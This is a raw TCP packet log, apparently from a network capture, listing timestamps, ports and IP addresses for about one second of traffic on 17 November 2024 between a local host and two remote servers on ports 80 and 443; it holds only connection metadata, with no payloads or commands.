Nov 17, 2024 12:35:20.947360039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.957763910 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.958149910 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.958179951 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.958561897 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.958566904 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.995310068 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.997399092 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.998557091 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.998569012 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.998585939 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.998600006 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.999154091 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.999161959 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.999274969 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.999279976 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.002188921 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.015775919 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.015908003 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.015923977 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.015942097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.015969992 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.016021967 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.018213034 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.018676996 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.018763065 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.018968105 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.018982887 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.054039001 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.054282904 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.054338932 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.054374933 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.054394007 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.054409027 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.054415941 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.057552099 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.057564020 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.057637930 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.057751894 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.057761908 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.061050892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.061079025 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.061095953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.061244011 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.061269999 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.061321020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.061321020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.063699007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.063746929 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.063752890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.063812971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.063878059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.063893080 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.063924074 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.063976049 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.064011097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.064027071 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.064043045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.064064980 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.064742088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.064795017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.064809084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.064842939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.064842939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.086919069 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.087080002 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.087142944 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.087205887 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.087224007 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.087235928 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.087240934 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.089426041 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.089473009 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.089546919 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.089704037 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.089723110 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.128109932 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.128355026 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.128417969 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.128447056 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.128463984 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.128475904 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.128482103 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.130166054 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.130388975 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.130460024 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.130496025 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.130496025 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.130511999 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.130522013 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.130589962 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.130603075 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.130692005 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.130907059 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.130919933 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.132816076 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.132841110 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.133044004 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.133044958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.133088112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.133105040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.133125067 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.133125067 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.133140087 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.133199930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.133246899 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.133260012 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.151354074 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.151494026 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.151664019 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.151705980 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.151705980 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.151722908 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.151736975 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.153625965 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.153666973 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.153817892 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.153959036 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:21.153975010 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:21.174024105 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.178853989 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.178881884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.178896904 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.179024935 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.179126024 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.179126024 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.181008101 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.181021929 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.181040049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.181119919 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.181140900 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.181157112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.181174040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.181189060 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.181190968 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.181220055 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.181616068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.181683064 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.181690931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.181706905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.181766033 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.181830883 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.182239056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.182265043 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.182288885 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.236707926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.250375032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.250391006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.250406981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.250483036 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.250525951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.250540972 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.250577927 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.296241999 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.296276093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.296292067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.296354055 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.296410084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.296457052 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.296477079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.296745062 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.298063993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.298125982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.298161983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.298285961 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.298290968 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.298305988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.298321962 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.298340082 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.298368931 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.298453093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.298928022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.298964024 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.298979998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.299005032 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.299062967 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.299077034 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.340447903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.340476990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.340506077 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.367620945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.367662907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.367738008 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.367755890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.367770910 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.367794991 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.367846966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.368029118 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.413142920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.413171053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.413186073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.413233042 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.413311005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.413367987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.413383007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.413567066 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.413568020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.415271044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.415283918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.415334940 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.415364981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.415441990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.415457964 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.415539026 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.415554047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.415653944 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.415653944 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.416132927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.416145086 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.416276932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.416340113 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.416356087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.416408062 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.416408062 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.416462898 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.484745026 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.484812021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.484827995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.484977007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.484992981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.485016108 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.485044956 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.485068083 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.485116005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.485132933 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.485147953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.485280991 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.530452967 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.530481100 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.530494928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.530574083 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.530623913 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.530656099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.530672073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.530704975 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.530720949 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.532599926 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.532639027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.532645941 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.532758951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.532768965 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.532864094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.532880068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.532886982 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.532983065 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.532988071 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.533334970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.533392906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.533406973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.533444881 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.533444881 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.533564091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.533581018 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.533643961 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.602170944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.602253914 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.602269888 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.602310896 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.602379084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.602394104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.602410078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.602444887 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.602473974 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.602566957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.602638006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.602758884 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.647547007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.647614002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.647629023 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.647742033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.647757053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.647782087 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.647782087 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.647835970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.647927999 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.649651051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.649707079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.649722099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.649789095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.649864912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.649925947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.649967909 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.650023937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.650084972 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.650099039 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.650099039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.650207043 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.650410891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.650491953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.650599003 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.650607109 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.650655031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.650670052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.650702000 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.650827885 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.650842905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.650881052 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.705236912 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.720463037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.720515013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.720530987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.720558882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.720602989 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.720721960 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.720730066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.720792055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.720808029 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.720823050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.720843077 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.720880985 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.765062094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.765090942 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.765105963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.765166998 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.765263081 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.765279055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.765294075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.765554905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.765554905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.767199993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.767350912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.767400026 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.767455101 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.767471075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.767498016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.767513037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.767519951 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.767554998 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.767640114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.767654896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.767672062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.767688990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.767882109 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.768465996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.768481970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.768497944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.768513918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:21.768940926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.768940926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:21.806121111 CET	443	49764	13.107.246.45	192.168.2.6
